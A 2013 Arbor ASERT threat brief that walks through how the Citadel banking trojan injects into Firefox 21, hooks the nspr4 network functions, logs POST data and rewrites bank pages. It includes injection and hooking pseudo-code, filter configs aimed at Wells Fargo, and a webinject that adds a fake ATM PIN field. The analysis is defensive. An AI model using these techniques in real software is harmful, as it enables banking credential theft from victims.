Citadel`s Man in the Firefox: An Implementation Walk Through

Transcription

Citadel`s Man in the Firefox: An Implementation Walk Through
Arbor Security Report
ASERT Threat Intelligence Brief 2013-2
Citadel's Man-in-the-Firefox: An Implementation WalkThrough
Dennis Schwarz, Arbor ASERT. September 17, 2013
© Copyright 2013 Arbor Networks, Inc. All rights reserved.
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
Introduction
While banking malware or "bankers" have a lot of functionality, they are defined by their Man-in-the-Browser
(MITB) implementation. This mechanism allows them to not only steal banking usernames and passwords, but
also inject arbitrary content into banking websites in order to social engineer and try and steal additional
credentials such as identifying information, pins, and token codes.
This paper will walk through Citadel's MITB implementation for the Firefox 21.0 web browser. Citadel was
chosen as the malware of interest because at the time of writing it was one of the main banking trojans being
used in the wild. The focus will be on Firefox 21.0 because it is an easier target to walk through, but the
concepts can be extrapolated to (and have been implemented for) other browsers--Internet Explorer, Opera,
and some versions of Chrome [12].
Since its arrival sometime in early 2012, there has been a lot of good analysis on Citadel as a whole, [1] and
[2] being good starting points. But, they don't venture very deeply into the MITB functionality. Likewise, there
have been a lot of good write-ups and proof of concept code for MITB techniques [3], but they have usually
stopped short of showing in the wild, malicious implementations. The goal of this paper is to help bridge that
gap.
Citadel Samples
While the walk-through strives to be generic, the following Citadel version 1.3.5.1 samples were used (some
of the configurations were modified slightly for demonstration purposes):
The first is available at the time of writing at [4] and [5]. The second is at [8] and [9]. These are live malware
samples! Stay safe.
MD5 (great.exe) = 45f7ab75c1cd77fbd0844acebd3af501
MD5 (IMG2013-05-31-022019.JPG...................mediaplayer.exe) =
566d525033e9371ae808e2c524f64fa8
A labeled IDA database for "great.exe" will be available on Arbor Network's GitHub [14].
Debugging Citadel Pro Tips
The following nice-to-knows were helpful in the course of this research:
•
•
2
Citadel has some basic anti-Virtual Machine functionality. Instructions on how to work around this
constraint in VirtualBox can be found here [10].
The persistent binary was stored in $USER\AppData\Roaming\[random characters]\[random
characters].exe. Its size will be approximately 221 KB in size:
Proprietary and Confidential Information of Arbor Networks, Inc.
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
•
•
•
•
•
•
Set a just-in-time debugger and make liberal use of 0xCC breakpoints.
Command and Control (C&C) communications happen from injected processes. The initial phone
home usually comes from taskhost.exe.
To find the Citadel portion of memory in an injected process, use Process Hacker's memory tab, sort
by "Protection". The permissions will be set to "RWX" and the size will be around 236 KB in size:
A research test-bed can be hacked together using MySQL, PHP, the server control panel from the
Reddit leak at [11], a client's Login key, and its C&C RC4 key.
The Login key can be found by looking for a 32 character hexadecimal string that looks like a MD5
hash. An example is "F5F4D5EBD5855E904AB8DB757D320604".
The RC4 algorithm is slightly modified and the Login key is XOR'd in as well. To find the RC4 function
in Citadel, trace Xrefs for the Login key string and use the pseudo-random generation algorithm
(PRGA) description at [13] to identify the code. The following is the Hex-Rays decompiled function:
© Copyright 2013 Arbor Networks, Inc. All rights reserved.
3
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
•
•
There are two RC4 key states used. The first to decrypt the base, static configuration and the second
for C&C communications. Set a breakpoint on the RC4 function. The second argument will be the key
state and it will be 256 bytes in size.
Launch Firefox from a command shell. Set "MOZ_CRASHREPORTER_DISABLE=1" to get just-intime debugging to work.
Conventions
The pseudo code used throughout this paper is a mixture of Python, C, and English. This seems the most
natural approach to help explain things.
Since Citadel is a fork of the Zeus trojan, and the latter's source code has since been leaked [6], the names
used in the walk-through will match the source code as much as possible.
Finding and Injecting into Firefox
There are four methods that Citadel uses to find and inject itself into Firefox processes running on a target
system:
1.
2.
3.
4.
4
CoreInject_injectToAll function
CoreHook_hookerNtCreateUserProcess function hook
CoreHook_hookerNtCreateThread function hook
CoreHook_hookerLdrLoadDll function hook
Proprietary and Confidential Information of Arbor Networks, Inc.
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
CoreInject_injectToAll Function (Mass Injection)
During Citadel's start up, a call to CoreInject_injectToAll is made. To find, trace IDA Pro Xrefs for
"CreateToolhelp32Snapshot". The call graph is:
Core_entryPoint >> Core_runAsBot >> CoreInject_injectToAll
As the name implies, it tries to inject itself into all permissible processes, Firefox included. The method used is
a traditional process injection technique. The first step is process iteration:
// take a snapshot of all processes
procs = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, ...)
// iterate through first process
proc = Process32First(procs, &proc_struct)
while proc:
pid = proc_struct.th32ProcessID
// permission checks
CoreInject_injectMalwareToProcess(pid, ...)
// iterate through next process
proc = Process32Next(procs, &proc_struct)
Next, CoreInject_injectMalwareToProcess does three things: allocates memory in the target process, copies
Citadel's code to the allocated memory, and then spins up a new remote thread--starting execution at the
injected code's entry point. Here is the outline of this function and Core_initNewModule:
CoreInject_injectMalwareToProcess(pid, ...)
// get handle to process
proc_handle = OpenProcess(..., pid)
// allocate memory and write Citadel to target process
remote_mem = Core_initNewModule(proc_handle, ...)
// calculate entry point
ep = remote_mem + Core_injectEntryForThreadEntry - base_addr
// start remote thread in target
CreateRemoteThread(proc_handle, ..., ep, ...)
Core_initNewModule(proc_handle, ...):
// anti-virus detection
PeImage_copyModuleToProcess(base_addr, proc_handle)
© Copyright 2013 Arbor Networks, Inc. All rights reserved.
5
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
// update some configuration pieces in the injected code
Memory allocation and code injection actually happens in PeImage_copyModuleToProcess. The first argument
to this function is the base address of the injecting process's main module--a Portable Executable (PE) file:
PeImage_copyModuleToProcess(base_addr, proc_handle):
// figure out PE DOS header offset
pe_dos_header = base_addr
// figure out PE NT headers offset
pe_nt_headers = pe_dos_header + pe_dos_header->e_lfanew
size = pe_nt_headers->OptionalHeader.SizeOfImage
// allocate buffer in remote process. set read, write, execute
// permissions
remote_mem = VirtualAllocEx(proc_handle, NULL, size, RWX, ...)
// rebase injected image
WriteProcessMemory(proc_handle, remote_mem, size, ...)
Here is a visual of Firefox injected with Citadel. On this run, the size was 0x3B000 (241,664) bytes and the
starting address of the remote buffer was 0x22C0000:
6
Proprietary and Confidential Information of Arbor Networks, Inc.
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
Rebasing the injected code needs a quick review. A PE file can specify a preferred base address of where in
memory it would like to be loaded. Using this base, addresses will be calculated in the executable. As an
example, notice how the push instructions (opcode 0x68) references address 0x409284--using a common
default preferred base address of 0x400000):
If, on load, the preferred base address is already mapped (by a DLL for instance), the Windows loader, with
the help of the executable's PE relocation section (.reloc), will choose another base address, recalculate any
addresses and update the respective instructions.
The "Base Relocations" section of [7] along with a visual PE editor, like CFF Explorer, provides additional
insight into the rebasing process.
Since Citadel doesn't have the luxury of using the Windows loader when it injects itself into a process, it has
to do this rebasing process manually.
© Copyright 2013 Arbor Networks, Inc. All rights reserved.
7
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
After process injection and back in CoreInject_injectMalwareToProcess, the entry point for the remote thread
is calculated by taking the address of Core_injectEntryForThreadEntry, subtracting the injecting process's
base address and then adding the start address of the remotely allocated buffer. This ends up being a
wrapper of Core_defaultModuleEntry.
CoreHook_hookerNtCreateUserProcess Function Hook
The second injection method involves hooking NtCreateUserProcess--an undocumented, low-level function
exported from ntdll.dll. The more familiar CreateProcess uses this function to create a new process.
If Firefox were launched after the initial mass injection, its process will have been created by explorer.exe (user
shell) or another one of its descendants injected with Citadel.
The hooking method will be discussed later. For now, whenever explorer.exe (or any other Citadel infected
process) calls NtCreateUserProcess, CoreHook_hookerNtCreateUserProcess is called instead. To find the
function hook, trace IDA Pro Xrefs for "GetThreadContext":
CoreHook_hookerNtCreateUserProcess(...):
// call the real NtCreateUserProcess to create process
NtCreateUserProcess(...)
// allocate memory and write Citadel to target process
remote_mem = Core_initNewModule(proc_handle, ...)
// calculate entry point
ep = remote_mem + Core_injectEntryForModuleEntry - base_addr
// get thread context
GetThreadContext(..., &thread_context)
// check if EIP points to thread start routine
if thread_context.Eip == RtlUserThreadStart:
// see notes below
thread_context.Eax = ep
// reset thread context
SetThreadContext(..., &thread_context)
During initialization, Core_init saves function pointers to the real NtCreateUserProcess function (and others)
for use in their respective hooks:
Core_init(...):
...
ntdll = GetModuleHandle("ntdll.dll")
NtCreateThread = GetProcAddress(ntdll, "NtCreateThread")
8
Proprietary and Confidential Information of Arbor Networks, Inc.
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
NtCreateUserProcess = GetProcAddress(ntdll, ...)
NtQueryInformationProcess = GetProcAddress(ntdll, ...)
RtlUserThreadStart = GetProcAddress(ntdll, ...)
LdrLoadDll = GetProcAddress(ntdll, ...)
LdrGetDllHandle = GetProcAddress(ntdll, ...)
On entry to the function hook, the real NtCreateUserProcess is called. After Citadel injects itself into the newly
created process via the familiar Core_initNewModule, an entry point to Core_injectEntryForModuleEntry is
calculated:
Core_injectEntryForModuleEntry():
// Citadel initialization things
Core_defaultModuleEntry()
// get base address of original executing process
// firefox.exe, for example
base_addr = GetModuleHandle(NULL)
// figure out PE DOS header offset
pe_dos_hdr = base_addr
// figure out PE NT headers offset
pe_nt_hdrs = pe_dos_hdr + pe_dos_hdr->e_lfanew
// get original entry point from PE headers
// firefox.exe's entry point, for example
oep = pe_nt_hdrs->OptionalHeader.AddressOfEntryPoint + base_addr
// call original entry point,
// i.e. continue launching firefox.exe
return oep()
Back in the hook, the main thread's context is retrieved from the newly created process via GetThreadContext.
The instruction pointer is checked to see if it points to the thread initialization routine RtlUserThreadStart--an
undocumented, low-level thread initialization function from ntdll.dll.
The convention to change a thread's entry point on resume is to update its context's EAX register to point to
the respective address. The context is reset via a SetThreadContext call.
CoreHook_hookerNtCreateThread Function Hook
If NtCreateUserProcess's address can't be resolved, NtCreateThread will be hooked instead. This is an
undocumented, low-level function exported from ntdll.dll that the more familiar CreateThread calls to create
new threads. The idea behind this hook is akin to the former except that it operates at the thread level.
© Copyright 2013 Arbor Networks, Inc. All rights reserved.
9
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
It starts by determining whether the thread being created is the initial thread of the process and if so, injects
itself in. To find the function hook, trace IDA Pro Xrefs for the "NtQueryInformationProcess" string and follow
where it gets used:
CoreHook_hookerNtCreateThread(...):
// get process ID
NtQueryInformationProcess(proc_handle, ..., pbi, ...)
// get number of threads
threads = Process_getCountOfThreadsByProcessId(pid)
if threads == 0:
// allocate memory and write Citadel to target process
rem_mem = Core_initNewModule(proc_handle, ...)
// calculate entry point
ep = rem_mem + Core_injectEntryForModuleEntry - base_addr
// set thread entry point
thread_context->Eax = ep
// call and return real NtCreateThread
NtCreateThread(..., thread_context, ...)
The rest of the code is very similar as before except the thread context with the Citadel entry point is passed
to the real NtCreateThread function. The entry point is the same, Core_injectEntryForModuleEntry.
CoreHook_hookerLdrLoadDll Function Hook
The last injection technique isn't really an injection method, but it does offer another way for Citadel to hook
Firefox with its MITB code. This technique relies on one of the previous methods to get Citadel into a process.
Once it has been injected, it will hook the LdrLoadDll function--another undocumented, low-level function
exported from ntdll.dll that the more familiar LoadLibrary function calls to load in libraries.
If a Citadel infected process loads "nspr4.dll", CoreHook_hookerLdrLoadDll will be called instead. To find the
function hook, trace IDA Pro Xrefs for the "chrome.dll" Unicode string:
CoreHook_hookerLdrLoadDll(...)
// call the real LdrLoadDll to load in the DLL
handle = LdrLoadDll(..., ModuleFileName, ...)
// check whether nspr4.dll is being loaded
if ModuleFileName == "nspr4.dll":
// check whether functions have already been hooked
// hook Firefox functions
10
Proprietary and Confidential Information of Arbor Networks, Inc.
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
WinApiTables_setNspr4Hooks(ModuleHandle)
else:
// hook Google Chrome
// not relevant for example, removed
return handle
Function Hooking
Citadel uses a couple of different hooking methods depending on the particular function being hooked. It
starts in WinApiTables_hookList, which handles some housekeeping. To find the hooking function, trace IDA
Pro Xrefs for "VirtualAllocEx". WinApiTables_hookList then calls WaHook_hook to perform the actual hooking.
For the Firefox MITB function hooks, the call graphs from the injection entry points are listed here:
Core_injectEntryForThreadEntry or Core_injectEntryForModuleEntry >>
Core_defaultModuleEntry >> Core_init >> Core_initHooks >>
WinApiTables_setNspr4Hooks >> WinApiTables_hookList
The call graph from the LdrLoadDll hook is this:
CoreHook_hookerLdrLoadDll >> WinApiTables_setNspr4Hooks >>
WinApiTables_hookList
The WinApiTables_hookList function works on an array of 16 byte WinApiTables.HOOKWINAPI structures.
The structure is defined as follows:
typedef struct
{
void *functionForHook;
void *hookerFunction;
void *originalFunction;
int
originalFunctionSize;
} HOOKWINAPI;
An easy way to understand the process is to walk through hooking a single function, for example the Firefox
PR_OpenTCPSocket function exported from nspr4.dll. As part of the injected Citadel data, there will be a
HOOKWINAPI structure initialized like this:
HOOKWINAPI nspr4Hooks[] =
{
{NULL, Nspr4Hook_hookerPrOpenTcpSocket, NULL, 0}
};
© Copyright 2013 Arbor Networks, Inc. All rights reserved.
11
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
In WinApiTables_setNspr4Hooks, PR_OpenTCPSocket's address is resolved via GetProcAddress and
assigned to the functionForHook member of its HOOKWINAPI structure. This is where the hook will be set.
The array of structures is then sent to WinApiTables_hookList:
WinApiTables._setNspr4Hooks(nspr4):
// resolve address of real functions
nspr4Hooks[0].functionForHook = GetProcAddress(nspr4,
"PR_OpenTCPSocket")
// hook functions
WinApiTables_hookList(nspr4Hooks, number_of_hooks)
// save function pointers to "original" functions for later use
Nspr4Hook_updateAddresses(nspr4Hooks[0].originalFunction)
WinApiTables_hookList in turn takes the array of functions to be hooked, allocates a buffer to
hold instruction opcodes from the original functions and does some housekeeping. It then calls
WaHook_hook for each.
This is what the first few instructions of the original PR_OpenTCPSocket function look like:
WaHook_hook is a bit confusing as there are a couple of different hooking methods implemented. There also
seems to be some duplicated code that makes things a bit messy. The focus will be on the Firefox MITB
hooking method:
WaHook_hook(functionForHook, hookerFunction, opcodesBuf):
// read first byte of function to hook
ReadProcessMemory(..., functionForHook, buf, 1, ...)
// jmp opcode == 0xE9
if first instruction is a jmp:
12
Proprietary and Confidential Information of Arbor Networks, Inc.
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
// set jmp hook
// not relevant for example, removed
else:
// check if at least 30 bytes of instruction are available
WaHook_checkAvailableBytes(functionForHook)
// change memory protections to read, write, execute
VirtualProtectEx(..., functionForHook, 30, RWX)
// allocate and set a local buf to 36 NOP instructions
Mem_set(buf, 0x90, 36)
// read in first 30 bytes of the original function
ReadProcessMemory(..., functionForHook, buf, 30)
// in the local buf, skip to at least the 6th byte
// it will be the beginning of the push 1 instruction
// in the PR_OpenTCPSocket reference above
// write a new push (0x68) instruction to local buf
// push offset will be to the real PR_OpenTCPSocket+6
// address
// in the local buf, write a ret (0xC3) instruction
// this is functionally equivalent to the original function
// it is just broken into two pieces with a
// push/ret combination to link the pieces together
// write the local buf to opcodesBuf argument
// size = 6 skipped bytes + 6 bytes for push and ret = 12
// see first diagram below
WriteProcessMemory(..., opcodesBuf, buf, 12)
// below task uses the same local buf, but is logically
// separated from the above task
// in the local buf, skip to first byte
// beginning of mov instruction above
© Copyright 2013 Arbor Networks, Inc. All rights reserved.
13
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
// in the local buf, write a push (0x68) instruction
// push offset will be to the function hook
// address of Nspr4Hook_hookerPrOpenTcpSocket
// in the local buf, write a ret (0xC3) instruction
// see second diagram below for a visual
// if needed, patch Citadel's import table
// not relevant for example, removed
WinApiTables_hotPatchCallback
// write the first 6 bytes of local buf
// over original function
WriteProcessMemory(..., functionForHook, buf, 6)
// see third diagram below to see what OpenTCPSocket
// looks like now
// function is hooked
return
14
Proprietary and Confidential Information of Arbor Networks, Inc.
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
Back in WinApiTables_hookList, the originalFunction and originalFunctionSize members of the HOOKWINAPI
structure are updated. The former will be a pointer to the opcodesBuf buffer shown in the first diagram above.
The latter will be the number of instruction bytes stored there.
A good way to think about what is happening is to imagine that the original PR_OpenTCPSocket function is
split into two pieces. The first piece starts at originalFunction and contains 12 bytes of code: two original
instructions from PR_OpenTCPSocket (mov and push) and then the push/ret combination that links to the
second piece.
The second piece starts in the original PR_OpenTCPSocket function, but 6 bytes in. The third instruction
(push 1) is where execution in the second piece begins.
Calling the code starting at opcodesBuf is functionally equivalent to calling the original PR_OpenTCPSocket
function. Here's what the HOOKWINAPI structure looks like now:
HOOKWINAPI nspr4Hooks[] =
{
{nspr4_PR_OpenTCPSocket, Nspr4Hook_hookerPrOpenTcpSocket, opcodesBuf, 12}
};
To finish things up, WinApiTables_setNspr4Hooks calls Nspr4Hook_updateAddresses to set up a
function pointer pointing to the HOOKWINAPI.originalFunction member, effectively to the original
PR_OpenTCPSocket function. This will be used later in the function hook.
Firefox Function Hooks
Now that Citadel is injected inside of Firefox and its hooking mechanism has been analyzed, what functions
are hooked and what are they coerced to do? The following table lists the functions of interest. They are all
exported from the Netscape Portable Runtime library (nspr4.dll):
© Copyright 2013 Arbor Networks, Inc. All rights reserved.
15
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
Function
Description
Function Hook
PR_OpenTCPSocket
Creates a new TCP socket
Nspr4Hook_hookerPrOpenTcpSocket
PR_Close
Closes a file or socket
Nspr4Hook_hookerPrClose
PR_Read
Reads bytes from a file or
socket
Nspr4Hook_hookerPrRead
PR_Write
Writes a buffer of data to a file
or socket
Nspr4Hook_hookerPrWrite
Citadel keeps track of Firefox connections internally with its own connection management system. Active
connections are maintained as an array of 56 byte Nspr4Hook.NSPR4CONNECTION structures:
typedef struct
{
PRFILEDESC *fd;
LPSTR url;
DWORD writeBytesToSkip;
HttpGrabber_INJECTFULLDATA *injects;
DWORD injectsCount;
LPBYTE response;
DWORD responseSize;
struct {
void *buf;
DWORD size;
DWORD pos;
DWORD realSize;
} pendingRequest;
struct {
void *buf;
DWORD size;
DWORD pos;
16
Proprietary and Confidential Information of Arbor Networks, Inc.
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
} pendingResponse;
} NSPR4CONNECTION
The connection management functions are listed next:
Function
Description
Nspr4Hook.connectionFind(pr_fd)
Find an active connection, return its connection
index
Nspr4Hook.connectionAdd(pr_fd)
Add a new connection
Nspr4Hook.connectionRemove(index)
Remove a connection
Nspr4Hook_hookerPrOpenTcpSocket
This function hook calls the real PR_OpenTCPSocket function to open a new socket and then initiates a new
connection record via Nspr4Hook_connectionAdd.
Nspr4Hook_hookerPrClose
Nspr4Hook_hookerPrClose calls the real PR_Close to close out the socket and then uses
Nspr4Hook_connectionFind and Nspr4Hook_connectionRemove to delete its corresponding connection
record.
Nspr4Hook_hookerPrWrite
This is the first of two main Firefox MITB function hooks. Before getting into the details, a quick aside is
needed to discuss the format of the "WebFilters" section of a Citadel configuration file. This section defines
URLs of interest and what to do if a user visits them in their web browser. Here is an example:
...
entry "WebFilters"
"P*wellsfargo.com/*"
"@*payment.com/*"
"!http://*.com/*.jpg"
end
...
The first character of each filter (first two characters are possible for the screenshot option) indicates what to
do if the filter is matched. Here are the possible options:
© Copyright 2013 Arbor Networks, Inc. All rights reserved.
17
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
Filter Type
Description
default
Log a report
!
Don't log a report
@
Take a screenshot
@@
Take a full screen screenshot
^
Block access
#
Record video
G
Report GET requests only
P
Report POST requests only
After the filter type is the URL to match on. Wildcards are supported with "*" indicating a multi-character
wildcard and "#" indicating a single character.
Since this code can be a bit confusing, a good way to understand the process is to walk through a single filter
that encompasses the essence. The focus below will be on the "P*wellsfargo.com/*" filter and its code path.
This rule will report on any HTTP POST requests to any wellsfargo.com site. The example URL will be
"https://online.wellsfargo.com/das/cgi-bin/session.cgi?screenid=SIGNON":
Nspr4Hook_hookerPrWrite(fd, buf, amount):
// find associated connection
con_idx = Nspr4Hook_connectionFind(fd)
// deal with pending data from other PR_Writes
// not relevant for example, removed
// deal with skipped bytes
// not relevant for example, removed
// parse the HTTP request into a REQUESTDATA structure
// see definition below
Nspr4Hook_fillRequestData(request, fd, buf, ...)
// analyze request
analysis_flags = HttpGrabber_analizeRequestData(request)
18
Proprietary and Confidential Information of Arbor Networks, Inc.
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
// analysis_flags are a bitmap and will be touched on later
// 0x18 (0x8 and 0x10 bits set) for the example
// test analysis_flags against some flags
// not relevant for example, removed
// housekeeping and clean up
// pass on request to real PR_Write
prWrite(fd, buf, amount)
Nspr4Hook_fillRequestData parses the raw HTTP request from the incoming buffer into a
HttpGrabber.REQUESTDATA structure. This 112-byte structure is defined like this:
struct REQUESTDATA
{
int flags;
void *handle;
void *url;
int urlSize;
void *acceptLanguage;
int acceptLanguageSize;
void *acceptEncoding;
int acceptEncodingSize;
void *userAgent;
int userAgentSize;
void *cookie;
int cookieSize;
void *referer;
int refererSize;
int method;
void *contentType;
int contentTypeSize;
void *postData;
int postDataSize;
authorizationData authorizationData;
© Copyright 2013 Arbor Networks, Inc. All rights reserved.
19
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
int field_58;
int field_5C;
int field_60;
int dynamicConfig;
int field_68;
int LocalConfig;
};
struct authorizationData
{
void *userName;
void *password;
void *unknownType;
};
The primary tasks of HttpGrabber_analizeRequestData (sic) are the following:
1.
2.
3.
4.
Parse any filters from Citadel's configuration
Match the request's URL to the filters
If there is a match, execute the specific filter action
If the particular filter action writes a report, send report to the botnet's C&C server
HttpGrabber_analizeRequestData(request):
// deal with URL blocking
// not relevant for example, removed
// get configuration.
// configuration details are out of scope
// get WebFilters section
filters = BinStorage_getItemDataEx(config, CFGID_HTTP_FILTER)
// loop through filters
// current filter
// "P*wellsfargo.com/*"
// parse filter type, first character
// filter type is "P"
20
Proprietary and Confidential Information of Arbor Networks, Inc.
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
// match request URL against filters
// taking into account wildcards
// url filter is "*wellsfargo.com/*"
// url is "https://online.wellsfargo.com/das/cgi-bin/..."
HttpGrabber_matchUrlA(current_filter, url)
// if URL matches
// execute filter action
// see filter type table above
// write report
// don't write report
// take screen shot
// take full screen screenshot
// ...
// in this example, the filter action
// will be to write a report
// don't report on
// .swf urls
// .flv urls
// facebook.com urls
// not relevant for example, removed
// deal with HttpVipUrls rules in configuration
// not relevant for example, removed
// parse and set analysis flags
// the relevant ones for this example:
// check if Content-Type is "application/x-www-form-urlencoded"
// POST data is urlencoded
// analysis flag bit is 0x10
// write report flag
// analysis flag bit is 0x8
// if write report flag
© Copyright 2013 Arbor Networks, Inc. All rights reserved.
21
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
// parse out various things for the report
// write report
// see diagram below
// send report to C&C
// details are outside of the scope
// deal with URL injects
// not relevant for example, removed
// deal with POST replacement
// not relevant for example, removed
On the C&C side, the botmaster will have access to the report. Items of interest are the search feature,
keyboard logging around the time of the request, and access to the stolen credentials even while the data was
sent using SSL/TLS (HTTPS).
22
Proprietary and Confidential Information of Arbor Networks, Inc.
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
Nspr4Hook_hookerPrRead
The second core MITB function is Nspr4Hook_hookerPrRead. This is where webinjects come into play. A
webinject is basically a find and replace rule. Webinjects are defined in the Citadel configuration and can be
dynamically updated via the C&C. For this example, a wellsfargo.com rule will be used:
set_url https://www.wellsfargo.com/ GP
data_before
<label for="userid">Username</label>
data_end
data_inject
<input type="text" accesskey="U" id="userid" name="userid"
maxlength="14" style="width:147px" tabindex="2" /></div>
size="13"
<DIV><STRONG><LABEL for=userid>ATM Pin</LABEL>:</STRONG><BR><INPUT
id="atm_check"
style="WIDTH: 147px" tabIndex="2" maxLength="6" size="13"
name="ATMPin"></DIV>
<DIV><STRONG><label for="password">Password</label>:</strong><br />
<input type="password" accesskey="P" id="password" name="password"
maxlength="14" tabindex="2" />
size="13"
<input type="hidden" name="screenid" value="SIGNON" /><input type="hidden"
name="origination" value="WebCons" /><input type="hidden" name="LOB"
value="Cons" />
<input type="submit" value="Go" name="btnSignon" id="btnSignon"
class="submitBtn" tabindex="2"/></div>
© Copyright 2013 Arbor Networks, Inc. All rights reserved.
23
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
<input type="hidden" id="u_p" name="u_p" value=""/>
</form>
data_end
data_after
</form>
data_end
Just a note: there was no intention to single out Wells Fargo, they just happened to be the target of the
Citadel sample used in this analysis. Webinjects can be written for any web site.
The "set_url" parameter specifies the URL and the type of HTTP requests to target. "data_before" defines the
line of code on the target website after which the malicious code should be injected at. "data_after" defines
the line of code on the target website before which the malicious code should be injected at. Everything
between the two points will be overwritten with the contents of "data_inject".
Here is the function hook:
Nspr4Hook_hookerPrRead(fd, buf, amount):
// find associated connection
con_idx = Nspr4Hook_connectionFind(fd)
// deal with pending data from previous PR_Reads
// not relevant for example, removed
// check if there are any webinjects
// call real PR_Read
prRead(fd, buf, amount)
// remove any X-Frame-Options headers
// not relevant for example, removed
// parse the HTTP response into a HTTPREQUESTINFO structure
Nspr4Hook_analizeHttpResponse(info, response, responseSize)
// parse out the request content
Nspr4Hook_analizeHttpResponseBody(info, response, responseSize,
content, contentSize)
// inject injects
HttpGrabber_executeInjects(injectsCount, injects, url, content,
contentSize)
// if request was chunked, adjust
24
Proprietary and Confidential Information of Arbor Networks, Inc.
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
// else, adjust Content-Length value
// update response buffer
Nspr4Hook_analizeHttpResponse (sic) checks a few things like the HTTP version and return status code. It
then starts filling a 16-byte Nspr4Hook_HTTPREQUESTINFO structure:
typedef struct
{
int flags;
int contentLength;
int contentOffset;
int contentEndOffset;
} HTTPREQUESTINFO;
If HTTP chunked encoding is used, "Transfer-Encoding" is set to "chunked" and a flag is set. If a "ContentLength" header is present, its length is noted in the structure and a flag is set. If either the "Connection" or
"Proxy-Connection" headers close the connection, another flag is set. Lastly, the offset to the request content
is calculated.
Nspr4Hook_analizeHttpResponseBody (sic) completes the HTTPREQUESTINFO structure by determining
the ending offset of the request content via whatever mechanism was flagged earlier. In this example, the
Content-Length will be used. It then carves out the request content into the "content" buffer.
Webinjects are parsed and applied in HttpGrabber_executeInjects. The "content" parameter passed to the
function is a pointer to the HTML source code of the target website. There are two structures used in
conjunction with webinjects. The first, HttpGrabber_INJECTFULLDATA, wraps up all the webinjects into a
data structure:
typedef struct
{
int flags;
void *urlMask;
void *fakeUrl;
void *blockOnUrl;
void *contextMask;
INJECTBLOCK *injects;
int injectsSize;
} INJECTFULLDATA;
The second, HttpInject.INJECTBLOCK, is a header used in front of the various webinject strings:
"data_before", "data_after", etc. from above:
© Copyright 2013 Arbor Networks, Inc. All rights reserved.
25
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
typedef struct
short size;
short flags;
} INJECTBLOCK;
Here is HttpGrabber_executeInjects:
// deal with contextMask stuff
// not relevant for example, removed
// parse out blockPrefix
// data_before
// parse out blockPostfix
// data_after
// parse out blockNew
// data_inject
// match data_before against content
// goal is to figure out the data_before offset in
// the target website
HttpGrabber_matchContextExA(blockPrefix, blockPrefixSize,
offsetBegin, content, contentSize)
// match data_after against content
// goal is to figure out the data_after offset in
// the target website
HttpGrabber_matchContextExA(blockPostfix, blockPostfixSize,
offsetEnd, content, contentSize)
// deal with webinject macros
// not relevant for example, removed
// piece together a new target website
// using the above offsets
// deal with other flags
// not relevant for example, removed
26
Proprietary and Confidential Information of Arbor Networks, Inc.
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
This is what takes place behind the scenes. The target website, prior to webinjects, looks like this:
After the webinject, there is now a suspicious "ATM Pin" form field:
© Copyright 2013 Arbor Networks, Inc. All rights reserved.
27
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
The formatting is a bit off, but that's because this webinject is a bit older and since its creation, Wells Fargo
has updated their website code. That aside, the effects are evident.
Conclusion
The main intent of this paper was to walk through Citadel's Man-in-the-Browser implementation for the Firefox
21.0 web browser and to add another page to the collective body of Citadel malware analysis. Techniques like
MITB are making "bankers" incredibly deft at their craft; infecting and affecting a large number of people and
companies across the world. A secondary objective was to inspire further deep-dive walk-throughs of
advanced malware topics. The more that these tactics are understood the better they can be protected
against.
Thanks
Thanks much to the Arbor Networks' ASERT team, Paul Halliday (@01110000), Rudy Ristich (@rarsec), and
Jeff Jarmoc (@jjarmoc) for reviewing and providing feedback!
References
[1] Malware Analysis: Citadel by AhnLab ASEC
[2] Citadel Trojan Malware Analysis by Jason Milletary, Dell SecureWorks Counter Threat Unit
28
Proprietary and Confidential Information of Arbor Networks, Inc.
Arbor Security Report: ASERT Threat Intelligence Brief 2013-2
[3] Spread throughout the last 20 issues or so of Phrack Magazine by various authors
[4] https://malwr.com/analysis/OTRlNDU5ZTk1NjdmNDBjOGJmMjk0MjI3NTYxY2JkYjc/
[5] http://www.kernelmode.info/forum/viewtopic.php?f=16&t=1465&start=50#p20004
[6] https://github.com/Visgean/Zeus
[7] An In-Depth Look into the Win32 Portable Executable File Format, Part 2 by Matt Pietrek
[8] http://www.kernelmode.info/forum/viewtopic.php?f=16&t=1465&start=50#p19616
[9] https://malwr.com/analysis/OTYzY2M3YWRmOTgyNDVmZjhhOTc5ZTIwYmI4MWE1MjU/
[10] http://www.kernelmode.info/forum/viewtopic.php?f=11&t=1911
[11] http://www.reddit.com/r/Malware/comments/1i0axa/citadel_1351_leaked_and_uncracked/
[12] http://en.wikipedia.org/wiki/Man-in-the-browser
[13] http://en.wikipedia.org/wiki/RC4#The_pseudo-random_generation_algorithm_.28PRGA.29
[14] https://github.com/arbor
About ASERT
The Security Engineering & Response Team (ASERT) at Arbor Networks delivers world-class
network security research and analysis for the benefit of today's enterprise and network
operators. ASERT engineers and researchers represent the best in information security. They
have vast experience working on vulnerability and exploit research and malicious code reverse
engineering, as well as incident response and DDoS and botnet tracking and trending. ASERT
